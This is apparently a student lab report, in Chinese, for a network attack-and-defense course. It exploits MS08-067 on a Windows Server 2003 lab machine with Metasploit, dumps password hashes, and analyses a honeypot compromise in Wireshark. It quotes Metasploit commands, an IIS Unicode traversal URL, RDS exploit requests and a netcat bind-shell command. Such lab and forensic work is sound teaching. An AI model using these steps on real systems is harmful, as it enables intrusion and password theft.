20253920 2025-2026-2 《网络攻防实践》第6次作业
20253920 2025-2026-2 《网络攻防实践》第6次作业
1.实践内容
本次实验以 Windows Server 2003 为靶机、Kali Linux 为攻击机,围绕MS08-067高危漏洞的远程渗透与流量溯源分析展开,完整复现了从漏洞探测、权限获取到流量还原的攻防全流程,核心概念与实操过程深度融合:
- 环境与漏洞基础:本次实验中,攻击机(Kali,IP:192.168.200.2)与靶机(Windows Server 2003,IP:192.168.200.6)均部署于 VMware NAT 模式下,同一虚拟网段内的主机流量会经过共享虚拟交换机,因此 Kali 端可直接监听并捕获靶机的所有交互流量,无需在靶机安装额外抓包工具。本次选用的 MS08-067 漏洞,是 Windows Server 服务中存在的缓冲区溢出漏洞:系统在处理 RPC 请求时,未对请求包的长度进行严格校验,攻击者可通过构造恶意 SMB 请求包触发缓冲区溢出,在无需任何账号认证的情况下,直接向靶机注入并执行任意代码,是适配 Windows Server 2003 的经典高危漏洞。实验前期通过
nmap -p 445 192.168.200.6扫描确认靶机 445 端口(SMB 服务端口)开放,验证漏洞利用的前提条件。 - 漏洞利用与载荷适配:Metasploit 中内置的
exploit/windows/smb/ms08_067_netapi模块可直接触发 MS08-067 漏洞,但后续交互效果需通过载荷决定:windows/meterpreter/reverse_tcp是加密型交互载荷,所有会话数据均通过加密算法传输,隐蔽性强、功能丰富,但数据以二进制形式封装,无法通过 Wireshark 还原明文交互;windows/shell/reverse_tcp是明文型反向 shell 载荷,攻击成功后直接反弹靶机原生 CMD 命令行,所有命令交互数据以 ASCII 明文传输,完全适配本次流量分析的需求。实验中启动msfconsole,加载目标漏洞模块后,配置靶机 IP(RHOSTS=192.168.200.6)、攻击机 IP(LHOST=192.168.200.2),并切换载荷为windows/shell/reverse_tcp,执行exploit触发漏洞,成功获取靶机的 CMD 命令行交互权限,通过执行dir、md test等命令验证控制权。 - 流量捕获与阶段还原:攻击过程中,在 Kali 端启动 Wireshark,监听 VMnet8 对应的虚拟网卡,通过过滤规则
ip.addr == 192.168.200.2 and ip.addr == 192.168.200.6过滤无关流量,完整捕获攻击全流程数据包;通过Follow TCP Stream功能,可清晰区分两个核心阶段的流量:一是漏洞利用阶段的 SMB 流,包含攻击者发送的恶意溢出载荷;二是反弹 shell 阶段的 TCP 流(端口 4444),可直接还原C:\>命令提示符、dir、md等明文交互指令,完整还原攻击后的命令执行过程。
2.实践过程
2.1 动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
以下是我本次实验的环境配置:
| 虚拟机 | IP地址 | 网络适配器 |
|---|---|---|
| 攻击机Kali | 192.168.200.2 | VMnet8(NAT模式) |
| 靶机Windows Server 2003 | 192.168.200.6 | VMnet8(NAT模式) |
首先将靶机Windows Server 2003的网络适配器修改为VMnet8(NAT模式),使其保持和攻击机同网段

进入控制面板,选择本地连接,勾选Internet Protocol(TCP/IP)并将靶机IP修改为192.168.200.6

分别在靶机Windows Server 2003和攻击机Kali输入命令行ping 192.168.200.2 ping 192.168.200.6测试网络连通性,由下图可知通信正常:


输入命令行msfconsole进入Metasploit 界面,可以看到msf >提示符,成功进入Metasploit 控制台


输入命令行search ms08-067查找利用 MS08-067 漏洞的攻击模块

找到编号为exploit/windows/smb/ms08_067_netapi 模块,并输入命令行use exploit/windows/smb/ms08_067_netapi进行加载
输入show options查看需要配置的目标IP,可以看到RHOSTS的信息为空

输入命令行set RHOSTS 192.168.200.6 设置靶机IPset LHOST 192.168.200.2设置攻击载荷

再次利用show options查看是否匹配成功

输入exploit开始攻击,可以看到 meterpreter > 提示符,是 Metasploit 框架核心的渗透成功标志。此时已经远程控制了目标主机(Windows Server 2003)

以上代码行含义如下:
| 代码行 | 含义解读 | 状态 |
|---|---|---|
Started reverse TCP handler... |
攻击机已经开启了监听端口,准备等待靶机连接回来。 | 正常 |
Automatically detecting the target... |
自动识别目标系统版本。 | 正常 |
Fingerprint: Windows 2003 - Service Pack 2 |
识别成功,目标主机确实是 Windows 2003 SP2 系统。 | 靶机确认 |
Selected Target: Windows 2003 SP2 English (NX) |
自动匹配了对应的攻击载荷(NX 表示开启了数据执行保护),版本匹配完美。 | 完美适配 |
Attempting to trigger the vulnerability... |
正在尝试触发漏洞(攻击代码已发)。 | 攻击中 |
Meterpreter session 1 opened... |
建立了会话(Session 1)它表示靶机已经成功连接回攻击机,隧道已打通。 | 攻击成功 |
meterpreter > |
这是命令行入口。现在可以输入命令,直接控制这台靶机。 | 已获权 |
输入ipconfig查看IP来验证是否攻击成功

输入sysinfo可以查看靶机系统信息

输入hashdump可以获取靶机所有用户的密码hash:
由下图可知,获取了:Administrator:500:a9a1d510b01177d1aad3b435b51404ee:afc44ee7351d61d000698796da06b1ebf:::命令行,其中:
Administrator:用户名(系统管理员账户)
500:用户 RID
a9a1d510...04ee:LM 哈希
afc44ee7...b1ebf:NTLM 哈希(真正的密码哈希值)
还导出了两个内置账户Guest(访客账户)和SUPPORT_388945a0(系统默认支持账户)
后续利用john等工具对Administrator的NTLM哈希进行爆破,可以还原出明文密码

2.2取证分析实践:解码依次成功的NT系统破解攻击
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
2.2.1攻击者使用了什么破解工具进行攻击
首先输入sudo service ssh start开启SSH服务,并输入sudo service ssh status判断服务是否开启,由下图看到active (running),SSH服务开启成功

win+R 进入cmd 输入命令行scp "D:\VMware\demo_NT_attack_data\snort-0204@0117.log" kali@192.168.200.2:/home/kali/进行文件的传输
(D:\VMware\demo_NT_attack_data\snort-0204@0117.log为日志文件存储位置,192.168.200.2为Kali的IP地址)

输入命令行wireshark /home/kali/snort-0204@0117.log利用wireshark打开日志文件

输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106进行过滤,由下图可以看到该日志文件存在TCP连接和HTTP连接,攻击者通过 SYN包和 GET /请求探测目标 80 端口的 Web 服务,确认 IIS 服务器存在,使用基础 HTTP 客户端作为探测工具,为后续漏洞攻击铺路

在第 117 号 HTTP 数据包中可以看到,攻击者构造了包含特殊编码 %C0%AF 的恶意请求路径:/guest/default.asp/..%C0%AF../..%C0%AF../boot.ini
其中 %C0%AF 是Unicode 双字节编码,在存在 IIS 解析漏洞的系统中会被解码为路径分隔符 /。
攻击者利用该编码绕过路径访问限制,实施目录遍历攻击,尝试越权访问系统核心敏感文件 boot.ini,以获取系统版本、启动配置等关键信息。
该行为表明攻击者使用了IIS Unicode 目录遍历攻击工具,通过构造特殊编码的 URL 实现对系统文件的非法读取。

在第 140 号 HTTP 数据包中,攻击者向目标发送 GET /msadc/msadcs.dll HTTP/1.0 请求,专门探测 IIS 中自带的 RDS(远程数据服务) 组件文件 msadcs.dll 是否存在并可访问。该组件是旧版 IIS 上典型的高危漏洞点,攻击者通过该请求判断目标是否存在可利用的 RDS 远程命令执行漏洞。
该阶段攻击者使用IIS RDS 漏洞专用探测工具,对 msadcs.dll 路径进行针对性漏洞验证。

在第 149 号 HTTP 数据包中,攻击者通过 POST /msadc/msadcs.dll/AdvancedDataFactory 提交大量恶意数据,利用已确认存在的 RDS 远程数据服务漏洞,向目标服务器注入攻击载荷并执行远程系统命令。该请求直接与漏洞组件交互,完成代码执行、权限获取等关键攻击步骤。
该阶段攻击者使用IIS RDS 漏洞利用工具,通过构造恶意 POST 请求实现远程代码执行,最终获取系统控制权。

2.2.2攻击者如何使用这个破解工具进入并控制了系统
(1)Unicode 目录遍历攻击
在 Wireshark 过滤框输入http.request.uri contains "%C0%AF" 会看到URI:/guest/default.asp/..%C0%AF../..%C0%AF../boot.ini这说明攻击者使用 Unicode 编码绕过 IIS 路径限制,试图访问系统关键文件 boot.ini

(2)探测 IIS RDS 漏洞
在 Wireshark 过滤框输入http.request.uri contains "msadcs.dll"进行过滤,可以看到请求行GET /msadc/msadcs.dll HTTP/1.0这说明攻击者在探测 IIS 的 RDS(远程数据服务)组件是否存在 → 确认漏洞

(3)利用漏洞注入代码
在 Wireshark 过滤框输入http.request.method == POST进行过滤,可以看到POST /msadc/msadcs.dll/AdvancedDataFactory和File Data: 551 bytes这说明攻击者利用 msadcs.dll 漏洞注入恶意代码 → 执行远程命令 → 完全控制系统

(4)远程控制工具:nc
攻击者通过 nc构建其一个远程 shell 通道。然后利用命令cmd1.exe /c nc -l -p 6969 -e cmd1.exe,使得攻击者连接 6969 端口,获得了访问权,并进入了交互式控制阶段。

2.2.3攻击者获得系统权限后做了什么
攻击者通过nc工具连接6969端口,输入命令行tcp.port == 6969进行过滤

C:\Program Files\Common Files\system\msadc>
C:\Program Files\Common Files\system\msadc>dir
以上内容是攻击者通过之前的漏洞注入和 nc 反向连接,成功拿到了目标服务器的交互式 CMD 命令行。执行了dir命令查看当前目录下的文件,确认攻击成功、当前权限、以及目标服务器上有哪些文件。此时攻击者已经进入系统,拥有命令执行权限

攻击者已经成功切换到 C:\ 根目录,进行文件操作和信息收集:
type yay2.txt:读取文件内容,查看文件信息
del yay2.txt:删除文件,可能是清理痕迹或删除测试文件
net session >>yay3.txt:尝试将当前会话信息写入文件,用于信息收集
di:错误命令(应为 dir),说明攻击者当前权限不是最高管理员,部分操作受限

type readme.e:尝试读取 readme.e文件,失败
c:.:尝试切换到 C:\ 根目录,因命令格式错误失败,说明攻击者在摸索系统目录结构。

攻击者执行 net users 命令,枚举目标服务器上的所有用户账户,可以看到 Administrator、Guest和 IIS 相关账户 IUSR_KENNY、IWAM_KENNY,为了了解系统用户情况,为后续提权或留后门做准备。

攻击者使用 echo 命令,向 README.NOW.Hax0r 文件写入内容,目的有两个:
一是在被攻陷的服务器上留下自己的攻击痕迹;二是留言内容表明他知道这是实验服务器,但也提醒管理员修补漏洞。

攻击者进入 C:\WINNT\repair 目录,尝试执行 rdisk 命令:rdisk 是 Windows 2000 下的系统备份工具,攻击者可能想备份系统信息或 SAM 文件,用于后续破解用户密码。部分命令格式错误(如 d.rd),且执行失败,说明攻击者在尝试探索系统维护功能。

攻击者执行 net session 命令,尝试查看当前服务器的网络会话连接,但提示 Access is denied,说明当前权限不足,无法查看会话信息。

攻击者执行 type har.txt 命令,读取 har.txt 文件,文件内容是二进制数据:这可能是攻击者上传的恶意工具、配置文件,或是目标服务器上的敏感二进制文件。攻击者读取它,目的是获取文件中的信息或确认文件内容。

2.2.4我们如何防止这样的攻击
结合本次攻击者利用 IIS Unicode 编码漏洞、msadcs.dll 组件漏洞及 nc 工具建立后门的攻击行为,防止此类攻击需优先为 IIS 服务器安装对应安全补丁、删除 msadcs.dll 等不必要的高危组件,从根源阻断漏洞利用;同时封禁 6969 等异常监听端口、限制 cmd.exe、nc 等高危命令执行,部署 IDS/IPS 设备拦截含恶意特征的请求,并加强系统日志审计与文件权限管控,防范攻击者入侵与持久化控制。
2.2.5你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
是,攻击者使用 echo 命令,向 README.NOW.Hax0r 文件写入内容,留言内容表明他知道这是实验服务器。

2.3团队对抗实践:windows系统远程渗透攻击和分析
以下是我本次实验的环境配置:
| 虚拟机 | IP地址 | 网络适配器 |
|---|---|---|
| 攻击机Kali | 192.168.200.2 | VMnet8(NAT模式) |
| 靶机Windows Server 2003 | 192.168.200.6 | VMnet8(NAT模式) |
2.3.1 攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
首先在kali上输入ping 192.168.200.6确认网络连通性

并输入nmap -p 445 192.168.200.6来验证靶机Windows Server 2003 SMB 服务是否开启,结果显示,目标主机在线,且 445 端口处于开放状态,服务为 microsoft-ds(SMB 服务)。该结果验证了靶机开启了 SMB 服务,网络连通性良好

接下来的操作同2.1,输入命令行msfconsole进入Metasploit 界面,同时输入sudo wireshark打开抓包工具


设置相关配置

创建文件夹zzz

2.3.2防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息
输入tcp.port == 4444来过滤tcp包,如下图可见Metasploit 反弹 shell 的流量

在靶机中找到对应的攻击者创建的文件夹

3.学习中遇到的问题及解决
1.靶机端抓包工具无法使用:Windows Server 2003 不支持 netsh trace 命令,新版 Wireshark 因系统过旧无法安装,旧版又缺少兼容 inPcap 驱动,导致无法抓包。解决办法:改用 Kali 监听 VMnet8 网卡实现同网段流量捕获,无需在靶机部署工具,顺利完成流量分析。
2.抓包无明文命令:使用meterpreter载荷时,Wireshark 捕获的流量全为乱码,无法查看交互指令。解决办法:将载荷替换为明文传输的windows/shell/reverse_tcp,攻击后执行的 CMD 命令可在 TCP 流中完整还原。
4.学习感想和体会
本次实践让我跳出了 “按教程敲命令” 的固化模式,真正理解了攻防实操中 “目标决定方案” 的核心逻辑。之前仅停留在对 MS08-067 漏洞的理论认知,实操中才发现,哪怕是同一个漏洞,载荷的选择、抓包方式的适配都会直接影响实验结果 。加密的 Meterpreter 虽隐蔽性更强,却完全不适合本次明文流量分析的需求,这让我意识到攻防工具的选择必须服务于实验目标,而非盲目追求 “高级功能”。
实验中遇到的模块报错、抓包乱码等问题,也让我学会了跳出教程的固定流程,根据环境灵活调整方案:比如 Win2003 无法使用的抓包命令,换用 Kali 端监听的思路就轻松解决;分不清的流量阶段,用端口过滤就能快速定位。这种问题排查的过程,比单纯跑通一次攻击更有收获。
通过本次实践,我不仅完整掌握了远程渗透与流量分析的流程,也体会到了攻防双方的视角差异:攻方追求攻击的隐蔽性与权限稳定性,守方则追求流量的可追溯性与攻击还原度,两者的需求冲突正是网络安全对抗的核心。同时我也认识到,老旧系统的兼容性问题是攻防实践中不可忽视的变量,只有真正在真实环境中踩坑、解决问题,才能真正理解网络安全技术的本质。

浙公网安备 33010602011771号